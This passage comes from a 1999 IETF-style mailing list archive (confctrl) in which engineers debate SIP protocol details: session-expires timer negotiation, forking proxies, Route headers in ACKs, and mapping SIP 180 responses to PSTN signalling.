New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; error</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; does not good anyway.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I agree, however, there needs =
to be a method for the proxy server</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to understand whether or not =
the UAC will be doing refreshes.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This can be achieved by the UAC =
including the final &quot;negotiated&quot;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session-expires header in the =
ACK to the 200 OK.&nbsp; A UAC that</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cannot, or chooses not to, send =
refresh INVITEs would not include</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a session-expires header in the =
ACK message.&nbsp; It would be up to</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the proxy server to decide what =
to do if the UAC does not include</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the session-expires =
header.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">My mechanism =
for determining whether the UAC will do refreshes was</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">whether it =
included the Session-Expires header in the request in the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">first place. =
This indicates that the UAC *is* willing to do them. If it</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">is not, or =
cannot, it doesn't put the header in the request message.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Your approach =
has the benefit that there is another decision round</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">possible. The =
UAC can decide to add the Session-Expires to the request,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">and then the =
response comes back with a refresh value that is</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">unacceptable =
to the UAC (too low, perhaps). The UAC can then refuse it</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">by not =
putting the Session-Expires in the ACK.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">A potential =
problem with the approach is with forking proxies:</FONT>
</P>
<BR>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">A----&gt;B----&gt;C---&gt;F</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; ^</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; |</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \/&nbsp;&nbsp;&nbsp; |</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; D---&gt;E</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">A is the UAC, =
F the UAS. B,C,D,E proxies. B forks. Now, F sends a 200 OK</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">in response =
to both the A-B-D-E-C-F and A-B-C-F request. The latter</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">arrives first =
at A. All proxies are adding record routes and want</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">refreshes. =
Now, the ACK is sent along A-B-C-F, so D and E never see an</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">ACK. They =
should actually time out call state (they will time out SIP</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">transaction =
state). But, they are waiting for the timeout from the ACK,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">not the =
response, which they never get. So, how do D and E determine how</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">long to wait =
before deciding that an ACK will never come? I guess they</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">could extract =
the timer from the response, and then if an ACK comes, use</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">the timer =
there instead. Seems a bit complex for little gained.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">By having the =
final timer value be the one in the response, behavior is</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">consistent =
and straightforward.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SRD&gt; Jonathan, =
I'm a little confused.&nbsp; The session-expires timer does not apply =
to session control signaling.&nbsp; It only applies after the session =
has been successfully setup.&nbsp; The above scenario appears to be a =
general problem for forking proxy scenarios.&nbsp; What happens depends =
on the behavior of B, the forking proxy.&nbsp; If it sends a CANCEL to =
the second 200 OK then there will be no problem.&nbsp; If it doesn't, =
then the originating user agent will need to handle the multiple 200 =
OKs.&nbsp; The SIP spec implies that an ACK is sent for the subsequent =
200 OKs.&nbsp; The Record-Route behavior should force the ACK to get =
delivered to D and E.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SRD&gt; Or am I =
missing something?</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">-Jonathan =
R.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">-- </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Jonathan D. =
Rosenberg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Lucent Technologies</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Member of =
Technical =
Staff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 101 Crawfords Corner =
Rd.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">High Speed =
Networks =
Research&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp; Holmdel, NJ 07733</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">FAX: (732) =
834-5379&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp; Rm. 4C-526</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">EMAIL: =
jdrosen@bell-labs.com</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">URL:</FONT><U> <FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New"><A HREF=3D"http://www.cs.columbia.edu/~jdrosen" =
TARGET=3D"_blank">http://www.cs.columbia.edu/~jdrosen</A></FONT></U>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BE5C18.39678F32--

From confctrl-owner  Fri Feb 19 07:15:44 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA12484
	for confctrl-outgoing; Fri, 19 Feb 1999 07:15:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA12479
	for <confctrl@zephyr.isi.edu>; Fri, 19 Feb 1999 07:15:43 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA01003
	for <confctrl@isi.edu>; Fri, 19 Feb 1999 07:15:42 -0800 (PST)
Received: from omta3.mcit.com (omta3.mcit.com [166.37.204.5])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id OAA06850; Fri, 19 Feb 1999 14:14:47 GMT
Received: from localHost ([166.35.151.149]) by omta3.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990219151514.RPTM26495@localHost>;
          Fri, 19 Feb 1999 09:15:14 -0600
Date: Fri, 19 Feb 1999 09:07 -0600 (CST)
From: John Hearty <John.H.Hearty@mci.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: Conference Control List <confctrl@ISI.EDU>
CC: Lars Berggren <lars.berggren@intertex.se>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Subject: Re: Negotiation of session-expires refresh timer
Message-Id: <19990219151514.RPTM26495@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>> 
>> >But, if the UAC doesn't understand the session timer, the UAC gets the
>> >400 response, tries again (without the timer header, of course), which
>> >generates another 400 response, and so on.
>> 
>> The SIP spec states for 4xx responses that "The client SHOULD NOT retry
>> the same request without modification..."  It seems to me UACs should
>> have a minimum requirement to understand _all_ 4xx responses for the
>> supported SIP version, whether or not they can support the appropriate
>> modified re-try request, or if they don't understand the 4xx response,
>> don't retry the Invite.
>
>I don't think clients should be required to understand all 4xx responses
>- thats the point of having a hierarchical error namespace.

Good point.

>
>You are correct, though (thanks for the info) that they won't retry the
>request. But, this means no call gets made. This means that these
>forceful proxies will not complete any calls for
>non-expiration-supporting clients - seems bad for business...

Well, I was just thinking that if we allow some UACs to make calls
without the timer, that defeats the whole purpose of this draft, in
that some calls may remain forever active in the stateful proxy's state
tables if the proxy misses a BYE or it never gets sent.  I suppose
it would be a business/engineering decision.

John Hearty
MCI Worldcom

From confctrl-owner  Fri Feb 19 07:47:44 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA14087
	for confctrl-outgoing; Fri, 19 Feb 1999 07:47:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA14082
	for <confctrl@zephyr.isi.edu>; Fri, 19 Feb 1999 07:47:43 -0800 (PST)
Received: from hromeo.algonet.se (hromeo.algonet.se [194.213.74.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA02694
	for <confctrl@ISI.EDU>; Fri, 19 Feb 1999 07:47:42 -0800 (PST)
Received: (qmail 4946 invoked from network); 19 Feb 1999 16:47:40 +0100
Received: from sdu50-78.ppp.algonet.se (HELO pyramid) (195.163.78.50)
  by hromeo.algonet.se with SMTP; 19 Feb 1999 16:47:40 +0100
Received: from 192.168.0.42 by pyramid ([192.168.0.100] running VPOP3) with SMTP for <confctrl@ISI.EDU>; Fri, 19 Feb 1999 16:49:58 +0100
Message-ID: <36CD899A.6924E1C2@intertex.se>
Date: Fri, 19 Feb 1999 16:56:10 +0100
From: Lars Berggren <lars.berggren@intertex.se>
X-Mailer: Mozilla 3.01 (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP: Route in ACK requests
References: <000101be5b87$aec34d20$669223a6@MCANNON.MCIT.COM> <36CCC856.241122D1@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Server: VPOP3 V1.3.0a - Registered to: Intertex Data AB
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Re-reading the SIP spec I found in Table 5, section 6, that the Route
header field is listed as 'not applicable' for ACK requests.

Is this really the case? I can't see why and would appreciate if someone
could explain it to me. I'd regard the Route header field as applicable
to ACK requests as to any other request.

Thanks, Lars.

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Fri Feb 19 09:25:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA19635
	for confctrl-outgoing; Fri, 19 Feb 1999 09:25:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA19607
	for <confctrl@zephyr.isi.edu>; Fri, 19 Feb 1999 09:25:02 -0800 (PST)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA10468
	for <confctrl@ISI.EDU>; Fri, 19 Feb 1999 09:24:31 -0800 (PST)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwa.ericsson.com (8.8.8/8.8.8) with ESMTP id LAA01700;
	Fri, 19 Feb 1999 11:22:43 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id LAA24003;
	Fri, 19 Feb 1999 11:22:43 -0600 (CST)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id LAA03956; Fri, 19 Feb 1999 11:22:42 -0600 (CST)
Received: (exuadam@localhost) by b04a24.exu.ericsson.se (8.8.2/8.6.12) id LAA00474; Fri, 19 Feb 1999 11:24:11 -0600 (CST)
Message-Id: <199902191724.LAA00474@b04a24.exu.ericsson.se>
Subject: Re: Negotiation of session-expires refresh timer
To: jdrosen@dnrc.bell-labs.com (Jonathan Rosenberg)
Date: Fri, 19 Feb 1999 11:24:10 -0600 (CST)
Cc: John.H.Hearty@mci.com, confctrl@ISI.EDU, lars.berggren@intertex.se,
        Steven.R.Donovan@mci.com
In-Reply-To: <36CCED32.C9E5A193@dnrc.bell-labs.com> from "Jonathan Rosenberg" at Feb 18, 99 11:48:50 pm
From: Adam.Roach@Ericsson.com (Adam B. Roach)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Jonathan Rosenberg:
>John Hearty wrote:
>> 
>> >But, if the UAC doesn't understand the session timer, the UAC gets the
>> >400 response, tries again (without the timer header, of course), which
>> >generates another 400 response, and so on.
>> 
>> The SIP spec states for 4xx responses that "The client SHOULD NOT retry
>> the same request without modification..."  It seems to me UACs should
>> have a minimum requirement to understand _all_ 4xx responses for the
>> supported SIP version, whether or not they can support the appropriate
>> modified re-try request, or if they don't understand the 4xx response,
>> don't retry the Invite.
>
>I don't think clients should be required to understand all 4xx responses
>- thats the point of having a hierarchical error namespace.
>
>You are correct, though (thanks for the info) that they won't retry the
>request. But, this means no call gets made. This means that these
>forceful proxies will not complete any calls for
>non-expiration-supporting clients - seems bad for business...

Perhaps; however, I beleive you'll find that a stateful proxy which 
absolutely requires this sort of notification will tear down the call
whenever it realises that either party is unable or unwilling to provide 
session refreshes; the result is the same: uncooperative or ignorant 
clients will not be able to interoperate with such a system.

I agree with Lars Berggren on this point: A specific 4xx response 
merely makes such a failure more efficient.

Under the scenario I described to Steven (which is what has been
discussed here), such a failure would not be discovered until
after the UAS has sent its final response and is waiting for
an ACK. For most clients, this will already represent alerting
the callee and receiving a response. It would be very annoying to
receive a call, only to have it error out when I attempt to
answer it.

UAC -> SPS          INVITE
       SPS -> UAS   INVITE Session-Expires=240
       SPS <- UAS   200 OK Session-Expires=240
UAC <- SPS          200 OK Session-Expires=240
UAC -> SPS          ACK 

                    This is where the SPS detects the problem, 
                    and behaviour gets a bit funky.

       SPS -> UAS   BYE
       SPS <- UAS   200 OK
UAC <- SPS          BYE 
UAC -> SPS          200 OK 

 From a user's perspective, then, what have we seen? The caller
places a call, which is sucessfully set up. It is then immediately
torn down, for no discernable reason.

The callee receives notification of an incoming call, and decides
to answer it. In the midst of call set up, an unexplained failure
occurs.

Human nature is to try this sequence several times, tweaking
small things each time, to see if it will work ("You've almost got it,
Bill! It's ringing over here!") . Of course, we all know that it won't 
help under these circumstances.

On the other hand, with a "4xx Session-Expires Required" (probably
with some more user-friendly descriptive text), the caller receives
an error right away, without any illusion that the call is
going through. The callee never gets involved. Less annoying.
More elegant. Fewer messages.

To address your concern directly: if the SPS is willing at all to 
carry the call without a Session-Expires header, but would *prefer* 
one (eg will provide a fuller set of services if one is present), it 
would not respond with the 4xx code; it would merely insert the header
itself and check the ACK to determine whether to expect refreshes.

--
Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
Ericsson Inc.              | Fax: +1 972 669 0154 | Richardson, TX 75081
adam.roach@ericsson.com    |                  <*> | USA

From confctrl-owner  Fri Feb 19 10:14:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA23013
	for confctrl-outgoing; Fri, 19 Feb 1999 10:14:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA23008
	for <confctrl@zephyr.isi.edu>; Fri, 19 Feb 1999 10:14:07 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA16760
	for <confctrl@isi.edu>; Fri, 19 Feb 1999 10:14:05 -0800 (PST)
Received: from omta4.mcit.com (omta4.mcit.com [166.37.204.6])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id RAA06824; Fri, 19 Feb 1999 17:13:03 GMT
Received: from MCANNON.MCIT.COM ([166.44.155.69]) by omta4.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990219181339.WWKA27243@MCANNON.MCIT.COM>;
          Fri, 19 Feb 1999 12:13:39 -0600
From: "Matt Cannon" <matt.cannon@mci.com>
To: "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>
Cc: "Confctrl" <confctrl@ISI.EDU>
Subject: RE: 180 to ACM Mapping
Date: Fri, 19 Feb 1999 12:13:21 -0600
Message-ID: <002401be5c33$88be1a40$32892ca6@MCANNON.MCIT.COM>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26
In-reply-to: <36CCFABC.9D0397E5@dnrc.bell-labs.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

comments inline..

Thanks
Matt

> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dnrc.bell-labs.com]
> Sent: Thursday, February 18, 1999 11:47 PM
> To: Matt Cannon
> Cc: Confctrl; jdrosen@dnrc.bell-labs.com
> Subject: Re: 180 to ACM Mapping
>
>
> Matt Cannon wrote:
> >
> >
> > MJC=> I agree with the concept that most media streams
> > will need encryption, but I am not sure the announcement
> > player concept fixes the problem. Apply the above
> > flow to the need for originating user to hear ringing.
> > If User B is not the actual entity generating the ringing,
> > but rather is expecting the originating UAC( the Gateway)
> > to provide the tone, when the 180 is received at the GW,
> > does GW provide tone or wait for the Invite from the
> > announcement player? Somehow the gateway will need to
> > understand that in this case the 180 really doesn't mean
> > ringing but rather wait for the announcement player.
>
> Good point. I think there are a number of separable problems here:
>
> 1. How to handle, at a UAC, multiple 180's and/or
> announcement INVITE's.
>
> 2. In the phone network, ringback is sent from the remote
> party through
> the backwards voice path, in addition to there being an
> ACM message. In
> the IP world, the ACM equivalent (180) serves as the
> signaling message
> and as a means to generate ringback. This inconsistency is what is
> really causing the problem.
>
> To handle problem (1), the terminating gateway or IP device should
> either send a 180, or use this reverse INVITE procedure,
> but never both,
> to avoid the problem.
>
> To handle problem (2), a terminating gateway should
> probably only use
> the reverse-INVITE path procedure. The reverse-path INVITE
> itself can
> trigger an ACM if the calling side is a gateway, since it
> is effectively
> an indication of a ringing. So, the procedure would be
> like this. When
> an INVITE arrives at a terminating gateway, it sends an
> IAM to the PSTN.
> When an ACM arrives, it sets up a reverse path using an INVITE for
> announcements. The reception of the INVITE at the calling gateway
> triggers an ACM, and if the calling side is not a gateway,
> no ACM is
> sent, of course. The terminating gateway sends anything
> from the PSTN
> over this backwards path. When the call is accepted, the
> terminating
> gateway sends a 200 OK, tears down the reverse path with a BYE, and
> sends everything over the normal channel when the ACK arrives. This
> approach has the advantage that announcements from the PSTN are
> preserved, whereas if it uses the send-180 approach, these
> tones are
> lost. This is anyway not a big deal 99% of the time, I would guess.
>
MJC=>
Actually this scenario works out for every call that terminates to
the PSTN network. I recognize the functionality of the solution and
its utility beyond just the ACM inter-working issue, but with the
introduction of an extra 'reverse-Invite/reverse-Bye" sequence
to manage the inband tones, do we not effectivley double the
number of transactions required to complete this call? My
thinking is that this is overhead would not be necessary if
the terminating UA could send a 183(Inband Info) in
cases where it expects to send tones to originating UAC
and a 180 ringing when it expects the originating UAC
to provide the tones.

> When the terminating device is not a gateway, it can
> either send a 180
> as currently specified, or follow the same procedure
> described above.
>
> Anup's suggestion to put SDP in the 180, but have it be
> secured I think
> still has some problems. First, you can't do the post-setup
> announcements. A general solution that does both would
> seem preferable.
> Second, I think there might be cases where the caller is
> going to get
> confused about who is sending what audio when there are
> multiple 180
> responses. This is because it all comes to the same UDP port at the
> caller. So, when audio arrives at that port, who is it
> from? You need to
> know in order to decrypt, interpret PTI numbers, etc. This
> is *not* a
> problem for multiple 200 responses, since the ACK contains
> an updated
> SDP, probably with a new port for each callee being
> ACK'ed. The callee
> is not supposed to send audio until the ACK arrives, so there is no
> confusion.
>
> In general, I prefer being explicit about what is going
> on. Putting SDP
> into the 180 is trying to set up multiple SIP sessions
> when there is
> really only one.
>
> -Jonathan R.
>
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords
> Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen
>


From confctrl-owner  Fri Feb 19 11:39:44 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA28952
	for confctrl-outgoing; Fri, 19 Feb 1999 11:39:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA28947
	for <confctrl@zephyr.isi.edu>; Fri, 19 Feb 1999 11:39:42 -0800 (PST)
Received: from redale.cisco.com (redale.cisco.com [171.69.95.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA28382
	for <confctrl@ISI.EDU>; Fri, 19 Feb 1999 11:39:41 -0800 (PST)
Received: from cisco.com (dhcp-71-147-164.cisco.com [171.71.147.164]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id LAA03995; Fri, 19 Feb 1999 11:39:03 -0800 (PST)
Message-ID: <36CDBCF5.B728FE87@cisco.com>
Date: Fri, 19 Feb 1999 11:35:18 -0800
From: Anup Rao <anrao@cisco.com>
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Matt Cannon <matt.cannon@mci.com>, Confctrl <confctrl@ISI.EDU>
Subject: Re: 180 to ACM Mapping
References: <000101be5b87$aec34d20$669223a6@MCANNON.MCIT.COM> <36CCFABC.9D0397E5@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> Matt Cannon wrote:
> >
> >
> > MJC=> I agree with the concept that most media streams
> > will need encryption, but I am not sure the announcement
> > player concept fixes the problem. Apply the above
> > flow to the need for originating user to hear ringing.
> > If User B is not the actual entity generating the ringing,
> > but rather is expecting the originating UAC( the Gateway)
> > to provide the tone, when the 180 is received at the GW,
> > does GW provide tone or wait for the Invite from the
> > announcement player? Somehow the gateway will need to
> > understand that in this case the 180 really doesn't mean
> > ringing but rather wait for the announcement player.
> 
> Good point. I think there are a number of separable problems here:
> 
> 1. How to handle, at a UAC, multiple 180's and/or announcement INVITE's.
> 
> 2. In the phone network, ringback is sent from the remote party through
> the backwards voice path, in addition to there being an ACM message. In
> the IP world, the ACM equivalent (180) serves as the signaling message
> and as a means to generate ringback. This inconsistency is what is
> really causing the problem.
> 
> To handle problem (1), the terminating gateway or IP device should
> either send a 180, or use this reverse INVITE procedure, but never both,
> to avoid the problem.
> 
> To handle problem (2), a terminating gateway should probably only use
> the reverse-INVITE path procedure. The reverse-path INVITE itself can
> trigger an ACM if the calling side is a gateway, since it is effectively
> an indication of a ringing. So, the procedure would be like this. When
> an INVITE arrives at a terminating gateway, it sends an IAM to the PSTN.
> When an ACM arrives, it sets up a reverse path using an INVITE for
> announcements. The reception of the INVITE at the calling gateway
> triggers an ACM, and if the calling side is not a gateway, no ACM is
> sent, of course. The terminating gateway sends anything from the PSTN
> over this backwards path. When the call is accepted, the terminating
> gateway sends a 200 OK, tears down the reverse path with a BYE, and
> sends everything over the normal channel when the ACK arrives. This
> approach has the advantage that announcements from the PSTN are
> preserved, whereas if it uses the send-180 approach, these tones are
> lost. This is anyway not a big deal 99% of the time, I would guess.
> 
> When the terminating device is not a gateway, it can either send a 180
> as currently specified, or follow the same procedure described above.
> 
> Anup's suggestion to put SDP in the 180, but have it be secured I think
> still has some problems. First, you can't do the post-setup
> announcements. A general solution that does both would seem preferable.
> Second, I think there might be cases where the caller is going to get
> confused about who is sending what audio when there are multiple 180
> responses. This is because it all comes to the same UDP port at the
> caller. So, when audio arrives at that port, who is it from? You need to
> know in order to decrypt, interpret PTI numbers, etc. This is *not* a
> problem for multiple 200 responses, since the ACK contains an updated
> SDP, probably with a new port for each callee being ACK'ed. The callee
> is not supposed to send audio until the ACK arrives, so there is no
> confusion.

The caller starts reading packets only after it receives atleast  the
first 180 response. Then it knows what source to expect and accept
packets from. It will need to CANCEL the other INVITE attempts. Clearly
not as clean with sending n ACKs with different ports in the parallel
case of receiving N 200 responses, but workable, and pretty similar to 
the way the callee can move and start trasmitting packets from a
different location. One cannot provide inband-alerting info from N
destinations anyway. Yes, there is a problem that N destinations might
send 180 responses, and then start sending inband information until they
are sent a CANCEL. (To avoid that, we can specify that INVITEs with this
extension should not be forked, and put in a Proxy-Require as well. Or
retain the forking feature and deal with the problem by ignoring the
packets).

Going by the "reverse INVITE" method, an endpoint that forks an INVITE
can then get N reverse INVITEs. The intention is to provide inband info,
so it cannot really accept all of the INVITEs, but is going to have to
pick one. This makes it very similar to the 180-session desc case. 
(Even if the intention was to accept all, this implies that the endpoint
can mix appropriately which it may not.). If we decide to go the
"reverse INVITE" way, I think it should still be protected by a SIP
"Require:" header, rather than be the base behavior since it will
involve an additional header or other means to relate the two SIP
sessions.

As far as post-setup announcements are concerned, such announcements
from the callee are handled in the voice path setup for the call - it is
really post-setup announcements from a network intermediary that we are
concerned about. I think there is a fundamental choice here :
Do we want call it the same SIP session or not ? If yes, that saves some
signalling, a roundtrip and ports. Do we want to use the same port at
the caller - I would argue that this keeps things simple. I also
believe, that fundamentally there is only one SIP session - so we should
not be creating two. A network intermediary that has been privy to the
call setup signalling can be provided with a way to tell the caller to
now expect an announcement from another address(as in my earlier email).
Using another codec(that the caller advertised in its INVITE or ACK)for
the announcement is possible as well, though arguably less caller
friendly. Also, a network intermediary may want the announcement played
from a RTSP server - providing a means to tell the caller to accept
